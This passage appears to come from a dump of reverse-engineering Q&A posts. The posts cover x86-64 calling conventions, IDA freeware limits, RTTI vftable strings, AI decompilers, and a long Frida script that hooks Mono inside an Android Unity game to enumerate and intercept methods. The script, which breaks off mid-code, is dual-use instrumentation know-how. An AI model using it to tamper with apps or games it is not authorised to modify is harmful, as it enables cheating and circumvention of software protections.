    So, usually, the first integer argument is stored in rdi and the second in rsi (the full list of registers is listed here. Here, as the first argument is argc an int, a 32-bit register is enough (4 bytes), so we use edi in place of rdi. And, as the second argument is a pointer (argv), we need the full 64-bit register rsi (8 bytes).

    \n\n

    What do we do with this? Well, we store preciously argc and argv within our stack-frame in the memory we just allocated before.

    \n\n

    Note that the address stored in rbp will not change all along the life of the current stack-frame (as we need it at the end to perform a leave and restore the address of the rbp of the previous stack-frame). So, most of the compilers will use rbp as point of reference to call the variables which are local to the current stack-frame. Thus, rbp+var_4 refer to argc and rbp+var_10 refer to argv from now.

    \n\n

    Well, that is about all you really need to know about the fastcall convention in Linux. Now, the program should be more understandble to you.

    \n\n

    Hope this helped!

    \n" }, { "Id": "18860", "CreationDate": "2018-07-21T17:54:43.823", "Body": "

    After setting up a home lab and installing the latest IDA 7.0 freeware, I don't see the debugger submenu I was expecting -- I've only used it in an academic setting before and it came pre-configured for me.

    \n\n

    Is the debugger a separate add-in that I need to install/enable?

    \n", "Title": "Installed IDA 7.0 Freeware -- no debugger, is that installed separately?", "Tags": "|ida|debuggers|", "Answer": "

    The freeware version comes without such features as a debugger.\nAccording to the freeware page on Hex-Rays site:

    \n
    \n

    The freeware version of IDA v7.0 has the following limitations:

    \n

    ...

    \n
      \n
    • lacks support for many processors, file formats, debugging etc...
      • \n
    \n
    \n

    edit:

    \n

    IDA freeware is now released with the debugging feature available since March 2019. The above quote no longer includes "debugging" on the free download page linked above.

    \n" }, { "Id": "18864", "CreationDate": "2018-07-22T08:33:46.187", "Body": "

    I am reversing a class, which has RTTI information. It has 2 virtual functions in its vftable, and in IDA Pro I can see some kind of zero terminated strings below the last vfunction. Here's how it looks like:

    \n\n
    .rdata:00007FF6EF4FB598 ; class BSTValueEventSource<ViewCasterUpdateEvent>: BSTEventSink<BSTValueRequestEvent<ViewCasterUpdateEvent> >;   (#classinformer)\n.rdata:00007FF6EF4FB598                 dq offset ??_R4?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ ; const BSTValueEventSource<ViewCasterUpdateEvent>::`RTTI Complete Object Locator'\n.rdata:00007FF6EF4FB5A0 ; const BSTValueEventSource<class ViewCasterUpdateEvent>::`vftable'\n.rdata:00007FF6EF4FB5A0 ??_7?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ dq offset sub_7FF6ED1A39F0\n.rdata:00007FF6EF4FB5A0                                         ; DATA XREF: sub_7FF6ED19DC00:loc_7FF6ED19DC13\u2191o\n.rdata:00007FF6EF4FB5A0                                         ; sub_7FF6ED19E180:loc_7FF6ED19E263\u2191o ...\n.rdata:00007FF6EF4FB5A8                 dq offset sub_7FF6ED1A4560 ; //\n.rdata:00007FF6EF4FB5B0 aTtcastray      db 'TtCastRay',0        ; DATA XREF: sub_7FF6ED19E2D0+AF9\u2191o\n.rdata:00007FF6EF4FB5B0                                         ; sub_7FF6ED1A4F80+48\u2191o ...\n.rdata:00007FF6EF4FB5BA                 align 20h\n.rdata:00007FF6EF4FB5C0 aBusefuzzypicki db 'bUseFuzzyPicking:Interface',0\n.rdata:00007FF6EF4FB5C0                                         ; DATA XREF: .data:00007FF6EFF50D68\u2193o\n.rdata:00007FF6EF4FB5DB                 align 20h\n.rdata:00007FF6EF4FB5E0 aFactivatepickr db 'fActivatePickRadius:Interface',0\n.rdata:00007FF6EF4FB5E0                                         ; DATA XREF: .data:00007FF6EFF50D80\u2193o\n.rdata:00007FF6EF4FB5FE                 align 20h\n.rdata:00007FF6EF4FB600 aFactivatepickl db 'fActivatePickLength:Interface',0\n.rdata:00007FF6EF4FB600                                         ; DATA XREF: .data:00007FF6EFF50D98\u2193o\n.rdata:00007FF6EF4FB61E                 align 20h\n.rdata:00007FF6EF4FB620 aFlargeactivate db 'fLargeActivatePickLength_G:Interface',0\n.rdata:00007FF6EF4FB620                                         ; DATA XREF: .data:00007FF6EFF50DB0\u2193o\n.rdata:00007FF6EF4FB645                 align 8\n...\n
    \n\n

    It seems that those strings can provide some useful information, but all the sources on RTTI I read didn't have anything that could explain them.

    \n\n

    What could those strings be?

    \n", "Title": "What are zero terminated strings below vftable in RTTI?", "Tags": "|disassembly|c++|", "Answer": "

    As usr2564301 suggested, I checked the XREF's provided by IDA. They pointed to a class SettingT<INISettingCollection>.

    \n\n

    It looks like those string have nothing to do with RTTI and are related to settings in an INI file.

    \n" }, { "Id": "18866", "CreationDate": "2018-07-22T13:05:19.700", "Body": "

    In the past for years I used some disassembler and tried some decompiler, nowadays there's so much talking and stuff about deep learning and AI, I wonder if some can be used with those tasks (given some human training) and if there's some tool using it already.

    \n", "Title": "Can AI be used to write better decompilers/disassemblers?", "Tags": "|disassemblers|decompiler|", "Answer": "

    I want to say yes, but I have to say NO. The thing is that computers grab our programs that we write and optimize them in a way that often will make little or no sense to humans. You'll see things being multiplied and arrays being worked with that you can understand what is happening , but it is very unhuman to work with data in this kind of way. Computers and humans think very differently.

    \n\n

    I think could be possible for an AI to do the following:

    \n\n
      \n
    • Grab the assembly and convert and either make it clearer for\nhumans to understand.
      • \n
    • Make a near useable form of assembly. (Maybe.... Because we would be keeping the computer's understanding of the relative data intact. )
      • \n
    \n\n

    Take this simple example:

    \n\n
    MOV v7, DWORD PTR [v7 + 0x8]\n
    \n\n

    would convert to

    \n\n
    v7 = *(_DWORD *)(v7 + 8);\n
    \n\n

    then to

    \n\n
    v7 = *(v7 + 8)\n
    \n\n

    And this might be really something completely different in source.

    \n\n

    where as you might see something like

    \n\n
    mov eax, dword ptr ds: [ESI*deadbeef+0b0] \n
    \n\n

    and the computer will think

    \n\n
    int a = somefoovar[v5].someint\n
    \n\n

    or

    \n\n
    int a = 1234;\n
    \n\n

    Both are kind of correct... If that array doesn't have changing data in it.

    \n\n

    but a computer might look at this as a single variable, when it could be something temporary. Also I have noticed that in my own decompilation work, that you'll wind up with a lot more static variables that are when you originally start.

    \n\n

    I think some other problems might be that the program might not ever hit certain parts of a function and might not understand all event paths.

    \n\n

    Personally, I would like to see AI what AI can come up with . Maybe it would be nice to have a pseudo translator of code. But I know that I will have to clean up after it and correct it's understandings.

    \n" }, { "Id": "18877", "CreationDate": "2018-07-23T21:19:22.610", "Body": "

    I'm trying to extract symbols from an Android Unity game to detect something related to the game which I can intercept and replace variables.

    \n\n

    The following code will enumerate symbols from libmain.so, libmono.so & libunity.so but not UnityEngine.*.dll.so, it seems they did not get addresses (retval equals 0x0), \nI'm assuming they did not load yet (that's way no address), what function is in-charge on loading them ? can I hook it and than enumerate symbols ?\nany help ?

    \n\n
    Interceptor.attach(Module.findExportByName(null, 'dlopen'), {\n    onEnter: function(args) {\n        this.lib = Memory.readUtf8String(args[0]);\n    },\n    onLeave: function(retval) {\n        console.log(\n            this.lib.substr(this.lib.lastIndexOf('/') + 1, this.lib.length) +\n            ' [ ' + retval + ' ] \\n' +\n            Module.enumerateExportsSync(this.lib).map(function(x) {\n                return x.name\n            })\n        );\n    }\n});\n
    \n\n

    output:

    \n\n
    libmain.so [ 0xac651e74 ] \n__aeabi_unwind_cpp_pr0,JNI_OnLoad,__aeabi_unwind_cpp_pr1,__aeabi_unwind_cpp_pr2,__gnu_Unwind_Restore_VFP_D,__gnu_Unwind_Restore_VFP,__gnu_Unwind_Restore_VFP_D_16_to_31,__gnu_Unwind_Restore_WMMXD,__gnu_Unwind_Restore_WMMXC,restore_core_regs,_Unwind_GetCFA,__gnu_Unwind_RaiseException,__gnu_Unwind_ForcedUnwind,__gnu_Unwind_Resume,__gnu_Unwind_Resume_or_Rethrow,_Unwind_Complete,_Unwind_DeleteException,_Unwind_VRS_Get,_Unwind_VRS_Set,__gnu_Unwind_Backtrace,__gnu_unwind_execute,_Unwind_VRS_Pop,__gnu_Unwind_Save_VFP_D,__gnu_Unwind_Save_VFP,__gnu_Unwind_Save_VFP_D_16_to_31,__gnu_Unwind_Save_WMMXD,__gnu_Unwind_Save_WMMXC,__restore_core_regs,___Unwind_RaiseException,_Unwind_RaiseException,___Unwind_Resume,_Unwind_Resume,___Unwind_Resume_or_Rethrow,_Unwind_Resume_or_Rethrow,___Unwind_ForcedUnwind,_Unwind_ForcedUnwind,___Unwind_Backtrace,_Unwind_Backtrace,__gnu_unwind_frame,_Unwind_GetRegionStart,_Unwind_GetLanguageSpecificData,_Unwind_GetDataRelBase,_Unwind_GetTextRelBase\nlibunity.so [ 0xb399b004 ] \n_ZNSt6vectorIcSaIcEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE17_M_default_appendEj,_ZdaPv,_ZdlPv,_Znaj,_Znwj,_ZdlPvRKSt9nothrow_t,_ZnwjRKSt9nothrow_t,_ZdaPvRKSt9nothrow_t,_ZnajRKSt9nothrow_t,_ZNSt6vectorIiSaIiEE17_M_default_appendEj,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE12_M_erase_auxESt23_Rb_tree_const_iteratorIiES7_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIRKiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE5eraseERKi,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE8_M_eraseEPSt13_Rb_tree_nodeIiE,_ZNSt6vectorIfSaIfEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPfS1_EEjRKf,_ZNSt6vectorIfSaIfEE19_M_emplace_back_auxIJfEEEvDpOT_,_ZNSt6vectorISt4pairIiiESaIS1_EE17_M_default_appendEj,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJRKiEEEvDpOT_,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJiEEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EE19_M_emplace_back_auxIJS1_EEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EEaSERKS3_,_ZSt17__rotate_adaptiveIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEES4_iET_S9_S9_S9_T1_SA_T0_SA_,_ZSt8__rotateIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEEEvT_S9_S9_St26random_access_iterator_tag,_ZSt8__rotateIPiEvT_S1_S1_St26random_access_iterator_tag,_ZNSt6vectorIhSaIhEE17_M_default_appendEj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIRKjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueISt23_Rb_tree_const_iteratorIjEEEvT_S9_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIjERKj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE7_M_copyEPKSt13_Rb_tree_nodeIjEPS7_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE8_M_eraseEPSt13_Rb_tree_nodeIjE,_ZNSt6vectorIS_IfSaIfEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJRKjEEEvDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJRKiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE16_M_insert_uniqueIS1_EESt4pairISt17_Rb_tree_iteratorIS1_EbEOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE8_M_eraseEPSt13_Rb_tree_nodeIS1_E,_ZNSt6vectorIjSaIjEE13_M_assign_auxIN9__gnu_cxx17__normal_iteratorIPjS1_EEEEvT_S7_St20forward_iterator_tag,_ZNSt6vectorIjSaIjEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPjS1_EEjRKj,_ZNSt6vectorIiSaIiEE13_M_assign_auxISt23_Rb_tree_const_iteratorIiEEEvT_S5_St20forward_iterator_tag,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESD_IJEEEEESt17_Rb_tree_iteratorIS2_ESt23_Rb_tree_const_iteratorIS2_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS2_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE8_M_eraseEPSt13_Rb_tree_nodeIS2_E,_ZNSt6vectorIfSaIfEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJjEEEvDpOT_,UnitySendMessage,_ZNSt6vectorIcSaIcEE19_M_emplace_back_auxIJcEEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIPhEEvN9__gnu_cxx17__normal_iteratorIS3_S1_EET_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJhEEEvDpOT_,JNI_OnLoad,JNI_OnUnload,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESE_IJEEEEESt17_Rb_tree_iteratorIS3_ESt23_Rb_tree_const_iteratorIS3_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS3_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE8_M_eraseEPSt13_Rb_tree_nodeIS3_E,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE16_M_insert_uniqueIS0_IiiEEES0_ISt17_Rb_tree_iteratorIS2_EbEOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE7_M_copyEPKSt13_Rb_tree_nodeIS2_EPSA_,_ZN9__gnu_cxx21_Hashtable_prime_listImE16__stl_prime_listE,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE12_M_erase_auxESt23_Rb_tree_const_iteratorIyES7_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE16_M_insert_uniqueIRKyEESt4pairISt17_Rb_tree_iteratorIyEbEOT_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE5eraseERKy,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE8_M_eraseEPSt13_Rb_tree_nodeIyE,_ZNSt6vectorISt4pairIS0_IttEfESaIS2_EE17_M_default_appendEj,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJRKhEEEvDpOT_,_ZNSt6vectorIySaIyEE19_M_emplace_back_auxIJRKyEEEvDpOT_,_ZNSt6vectorIS_IySaIyEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIN9__gnu_cxx17__normal_iteratorIPhS1_EEEEvS6_T_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKhEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S8_St20forward_iterator_tag,_ZNSt6vectorIxSaIxEE19_M_emplace_back_auxIJRKxEEEvDpOT_,_ZNSt6vectorIhSaIhEEaSERKS1_,_ZNSt6vectorItSaItEEaSERKS1_\nlibmono.so [ 0xb399b3f4 ] \nmono_jit_tls_id,mono_tracev,mono_jit_trace_calls,mono_break_on_exc,mono_compile_aot,mono_breakpoint_info_index,mono_aot_only,mono_build_date,mono_use_imt,mono_do_signal_chaining,mono_inject_async_exc_method,mono_break_at_bb_bb_num,mono_inject_async_exc_pos,mono_do_x86_stack_align,mono_break_at_bb_method,mono_pmip,mono_dont_free_global_codeman,mono_print_method_from_ip,mono_debug_lookup_source_location,mono_debug_free_source_location,mono_domain_get,mono_jit_info_table_find,g_free,mono_method_full_name,mono_mempool_alloc0,mono_code_manager_reserve,mono_code_manager_new,mono_type_generic_inst_is_valuetype,mono_type_get_underlying_type,mono_class_enum_basetype,mono_method_get_header,mono_jit_stats,mono_type_get_name,mono_inst_name,mono_class_from_mono_type,mono_metadata_signature_alloc,mono_mempool_alloc,mono_get_root_domain,mono_free_verify_list,mono_loader_get_last_error,mono_compile_method,mono_type_size,mono_metadata_generic_class_is_valuetype,mono_class_min_align,mono_environment_exitcode_get,mono_mempool_destroy,mono_thread_exit,mono_thread_attach,mono_domain_set,mono_jit_thread_attach,mono_thread_current,mono_debugger_thread_created,mono_thread_attach_aborted_cb,mono_debugger_thread_cleanup,mono_profiler_get_events,mono_class_vtable,mono_class_init,mono_runtime_class_init,mono_metadata_field_info,mono_lookup_internal_call,mono_image_rva_map,mono_thread_interruption_request_flag,mono_ldstr,mono_metadata_blob_heap,mono_ldtoken,mono_lookup_pinvoke_call,mono_type_get_object,mono_method_signature,mono_code_manager_new_dynamic,mono_method_get_generic_container,mono_code_manager_commit,mono_class_inflate_generic_method,mono_mempool_new,mono_debug_using_mono_debugger,mono_local_deadce,mono_runtime_invoke,mono_get_exception_execution_engine,mono_exception_from_name_msg,mono_loader_error_prepare_exception,mono_get_exception_bad_image_format,.....,GC_push_all_stack,GC_delete_thread,GC_lookup_thread,GC_start_blocking,GC_end_blocking,VER_1\nmscorlib.dll.so [ 0x0 ] \n\nUnityEngine.dll.so [ 0x0 ] \n\nUnityEngine.CoreModule.dll.so [ 0x0 ] \n\nUnityEngine.AccessibilityModule.dll.so [ 0x0 ] \n\nUnityEngine.ParticleSystemModule.dll.so [ 0x0 ] \n\nUnityEngine.PhysicsModule.dll.so [ 0x0 ] \n\nUnityEngine.VehiclesModule.dll.so [ 0x0 ] \n\nUnityEngine.ClothModule.dll.so [ 0x0 ] \n\nUnityEngine.AIModule.dll.so [ 0x0 ] \n\nUnityEngine.AnimationModule.dll.so [ 0x0 ] \n\nUnityEngine.TextRenderingModule.dll.so [ 0x0 ] \n\nUnityEngine.UIModule.dll.so [ 0x0 ] \n\nUnityEngine.TerrainPhysicsModule.dll.so [ 0x0 ] \n\nUnityEngine.IMGUIModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestAudioModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestTextureModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestWWWModule.dll.so [ 0x0 ] \n\nUnityEngine.UNETModule.dll.so [ 0x0 ] \n\nUnityEngine.DirectorModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityAnalyticsModule.dll.so [ 0x0 ] \n\nUnityEngine.CrashReportingModule.dll.so [ 0x0 ] \n\nUnityEngine.PerformanceReportingModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityConnectModule.dll.so [ 0x0 ] \n\nUnityEngine.WebModule.dll.so [ 0x0 ] \n\nUnityEngine.ARModule.dll.so [ 0x0 ] \n\nUnityEngine.VRModule.dll.so [ 0x0 ] \n\nUnityEngine.UIElementsModule.dll.so [ 0x0 ] \n\nUnityEngine.StyleSheetsModule.dll.so [ 0x0 ] \n\nUnityEngine.AudioModule.dll.so [ 0x0 ] \n\nUnityEngine.GameCenterModule.dll.so [ 0x0 ] \n\nUnityEngine.GridModule.dll.so [ 0x0 ] \n\nUnityEngine.ImageConversionModule.dll.so [ 0x0 ] \n\nUnityEngine.InputModule.dll.so [ 0x0 ] \n\nUnityEngine.JSONSerializeModule.dll.so [ 0x0 ] \n\nUnityEngine.ParticlesLegacyModule.dll.so [ 0x0 ] \n\nUnityEngine.Physics2DModule.dll.so [ 0x0 ] \n\nUnityEngine.ScreenCaptureModule.dll.so [ 0x0 ] \n\nUnityEngine.SpriteMaskModule.dll.so [ 0x0 ] \n\nUnityEngine.TerrainModule.dll.so [ 0x0 ] \n\nUnityEngine.TilemapModule.dll.so [ 0x0 ] \n\nUnityEngine.VideoModule.dll.so [ 0x0 ] \n\nUnityEngine.WindModule.dll.so [ 0x0 ] \n\nSystem.dll.so [ 0x0 ] \n\nAssembly-CSharp-firstpass.dll.so [ 0x0 ] \n\nAssembly-CSharp.dll.so [ 0x0 ] \n\nUnityEngine.UI.dll.so [ 0x0 ] \n\nUnityEngine.Networking.dll.so [ 0x0 ] \n\nUnityEngine.Timeline.dll.so [ 0x0 ] \n\nUnityEngine.SpatialTracking.dll.so [ 0x0 ] \n\nUnityEngine.Advertisements.Android.dll.so [ 0x0 ] \n\nFacebook.Unity.dll.so [ 0x0 ] \n\nFacebook.Unity.Settings.dll.so [ 0x0 ] \n\nFacebook.Unity.Android.dll.so [ 0x0 ] \n\nFacebook.Unity.IOS.dll.so [ 0x0 ] \n\nRTL.dll.so [ 0x0 ] \n\nSystem.Core.dll.so [ 0x0 ] \n
    \n", "Title": "android unity intercept w/ Frida", "Tags": "|android|.net|frida|", "Answer": "

    Answer

    \n\n\n\n
        // Constants\n    const kIgnoreArg = '-';\n\n    // Utils\n    function pmalloc() {\n        return Memory.alloc(Process.pointerSize);\n    }\n    function debug() {\n        send({ event: 'DEBUG', data: Array.prototype.slice.call(arguments).join(' ') });\n    }\n\n    // Globals\n    var Metadata = {}; // < className, { pointer, methods < methodName, { pointer, args[], returnType } >, fields } >\n    var Global = {}; // save global variables across hooks\n    var MonoApi = {\n        mono_image_get_table_rows: ['int', ['MonoImage*', 'int'/*table_id*/]],\n        mono_class_get: ['MonoClass*', ['MonoImage*', 'int'/*type_token*/]],\n        mono_class_get_parent: ['MonoClass*', ['MonoClass*']],\n        mono_class_get_name: ['char*', ['MonoClass*']],\n        mono_method_get_name: ['char*', ['MonoMethod*']],\n        mono_class_get_methods: ['MonoMethod*', ['MonoClass*', 'iter*']],\n        mono_class_get_fields: ['MonoClassField*', ['MonoClass*', 'iter*']],\n        mono_signature_get_params: ['MonoType*', ['MonoMethod*', 'iter*']],\n        mono_field_full_name: ['char*', ['MonoField*']],\n        mono_class_get_namespace: ['char*', ['MonoClass*']],\n        mono_type_full_name: ['char*', ['MonoType*']],\n        mono_signature_get_return_type: ['MonoType*', ['MonoMethodSignature*']],\n        mono_class_get_method_from_name: ['MonoMethod*', ['MonoClass*', 'name*', 'int'/*number of params. -1 for any*/]],\n        mono_method_signature: ['MonoMethodSignature*', ['MonoMethod*']],\n        /** gpointer mono_compile_method (MonoMethod *method)\n         * http://docs.go-mono.com/index.aspx?link=xhtml%3Adeploy%2Fmono-api-unsorted.html */\n        mono_compile_method: ['gpointer*'/* pointer to the native code produced.*/, ['MonoMethod*']],\n        /**\n         * char* mono_string_to_utf8 (MonoString *s)\n         * @param    s  a System.String\n         * @Description\n         # TODO mono_free\n         *       Returns the UTF8 representation for s. The resulting buffer needs to be freed with mono_free().\n         *       deprecated Use mono_string_to_utf8_checked to avoid having an exception arbritraly raised.\n         */\n        mono_string_to_utf8: ['char*', ['System.String*']],\n        getClassMethods: function (klass) {\n            var method, methods = {}, iter = pmalloc();\n\n            while ( !(method = MonoApi.mono_class_get_methods(klass, iter)).isNull() ) {\n                var methodName = MonoApi.mono_method_get_name(method).readUtf8String();\n                if (!methodName.startsWith('<') /*|| methodName.startsWith('.')*/) {\n                    var methodRef = MonoApi.mono_class_get_method_from_name(klass, Memory.allocUtf8String(methodName), -1);\n                    var monoSignature = MonoApi.mono_method_signature(methodRef);\n                    var retType = MonoApi.mono_type_full_name(MonoApi.mono_signature_get_return_type(monoSignature)).readUtf8String();\n                    var args = MonoApi.getSignatureParams(monoSignature);\n                    methods[methodName] = { ref: methodRef, args: args, ret: retType };\n                }\n            }\n\n            return methods;\n        },\n        getSignatureParams: function (monoSignature) {\n            var params, fields = [], iter = pmalloc();\n\n            while ( !(params = MonoApi.mono_signature_get_params(monoSignature, iter)).isNull() )\n                fields.push( MonoApi.mono_type_full_name(params).readUtf8String() );\n\n            return fields;\n        },\n        getClassFields: function (monoClass) {\n            var field, fields = [], iter = pmalloc();\n\n            while ( !(field = MonoApi.mono_class_get_fields(monoClass, iter)).isNull() )\n                fields.push( \n                    MonoApi.mono_field_full_name(field).readUtf8String().split(':')[1] );\n\n            return fields;\n        },\n        init: function() {\n            var monoModule = Process.findModuleByName('mono.dll');\n            debug(\"Process.findModuleByName('mono.dll') ? \" + monoModule);\n            if (!monoModule) {\n                var monoThreadAttach = Module.findExportByName(null, 'mono_thread_attach');\n                debug(\"monoThreadAttach ? \" + monoThreadAttach);\n                if (monoThreadAttach)\n                    monoModule = Process.findModuleByAddress(monoThreadAttach);\n            }\n            if (!monoModule) throw new Error('Mono.dll not found');\n\n            Object.keys(MonoApi).map(function(exportName) {\n                var monoApiIter = MonoApi[exportName];\n                if (typeof monoApiIter === 'object') {\n                    var returnValue = monoApiIter[0].endsWith('*') ? 'pointer' : monoApiIter[0];\n                    var argumentTypes = monoApiIter[1].map(function(t) { return t.endsWith('*') ? 'pointer' : t });\n                    var exportAddress = Module.findExportByName(monoModule.name, exportName);\n                    MonoApi[exportName] = new NativeFunction(exportAddress, returnValue, argumentTypes);\n                }\n            });\n        }\n    };\n\n    function intercept(op) {\n        var nothingSetSoJustLogMethodArguments = !op.argumentsKeys && !op.onEnterCallback && !op.onLeaveCallback;\n        var method = Metadata[op.className].methods[op.methodName];\n        debug('Intercepting', op.className + '#' + op.methodName, JSON.stringify(method));\n        // TODO assert re compile is necessary\n        var monoCompileMethod = MonoApi.mono_compile_method(method.ref);\n        Interceptor.attach(monoCompileMethod, {\n            onEnter: function (args) {\n                var argsValues = {};\n                for (var i = 0, l = method.args.length; i < l; i++) {\n                    var key = op.argumentsKeys ? op.argumentsKeys[i] : i;\n                    if (key === kIgnoreArg)\n                        continue;\n                    var j = i + 1;\n                    switch (method.args[i]) {\n                        case 'string':\n                            argsValues[key] = MonoApi.mono_string_to_utf8(args[j]).readUtf8String();\n                            break;\n                        case 'long':\n                        case 'int':\n                            argsValues[key] = parseInt(args[j]);\n                            break;\n                        default:\n                            argsValues[key] = args[j];\n                            break;\n                    }\n                }\n\n                if (nothingSetSoJustLogMethodArguments)\n                    debug(op.className + '#' + op.methodName, JSON.stringify(argsValues, null, 2));\n\n                if (op.onEnterCallback)\n                    op.onEnterCallback(argsValues);\n            },\n            onLeave: function (retval) {\n                if (op.onLeaveCallback)\n                    op.onLeaveCallback(retval);\n            }\n        });\n    }\n\n    function getMetadata(monoImage) {\n        // MONO_TABLE_TYPEDEF = 0x2; // https://github.com/mono/mono/blob/master/mono/metadata/blob.h#L56\n        for (var i = 1, l = MonoApi.mono_image_get_table_rows(monoImage, 0x2); i < l; ++i) {\n            // MONO_TOKEN_TYPE_DEF = 0x2000000 // https://github.com/mono/mono/blob/master/mono/metadata/tokentype.h#L16\n            var mClass = MonoApi.mono_class_get(monoImage, 0x2000000 | i);\n            var className = MonoApi.mono_class_get_name(mClass).readUtf8String();\n            var classNameSpace = MonoApi.mono_class_get_namespace(mClass).readUtf8String();\n            try {\n                var parentClassName = MonoApi.mono_class_get_name( MonoApi.mono_class_get_parent(mClass) ).readUtf8String();\n                if (parentClassName === 'MonoBehaviour' && classNameSpace === '') {\n                    Metadata[className] = {\n                        // namespace: classNameSpace,\n                        ref: mClass,\n                        methods: MonoApi.getClassMethods(mClass),\n                        fields: MonoApi.getClassFields(mClass)\n                    };\n                }\n            } catch (e) {\n                debug(\"Error @ getMetadata/mono_class_get_parent\", e);\n            }\n        }\n        send({ event: 'METADATA', data: Metadata });\n    }\n\n    function hookMonoLoad() {\n        // hooking the method in charge of loading the DLL files\n        Interceptor.attach(Module.findExportByName(null, 'mono_assembly_load_from_full'), {\n            onEnter: function (args) {\n                // passing variables to onLeave scope using 'this'\n                this._args = {\n                    image: args[0], // MonoImage* Image to load the assembly from\n                    fname: args[1].readUtf8String() // const char* assembly name to associate with the assembly\n                    // status: args[2], // MonoImageOpenStatus* returns the status condition\n                    // refonly: args[3] // gboolean Whether this assembly is being opened in \"reflection-only\" mode.\n                };\n            },\n            onLeave: function (_retval) {\n                // Return value: A valid pointer to a MonoAssembly* on success and the status will be set to MONO_IMAGE_OK\n                //               or NULL on error.\n                if (this._args.fname.endsWith('Assembly-CSharp.dll')) {\n                    MonoApi.init();\n                    getMetadata(this._args.image);\n                    /*placeholder*/\n                }\n            }\n        });\n    }\n\n    function awaitForCondition(func) {\n        // From MDN: If this parameter is less than 10, a value of 10 is used. Note that the actual delay may be longer;\n        var delay = 10; // Fight for 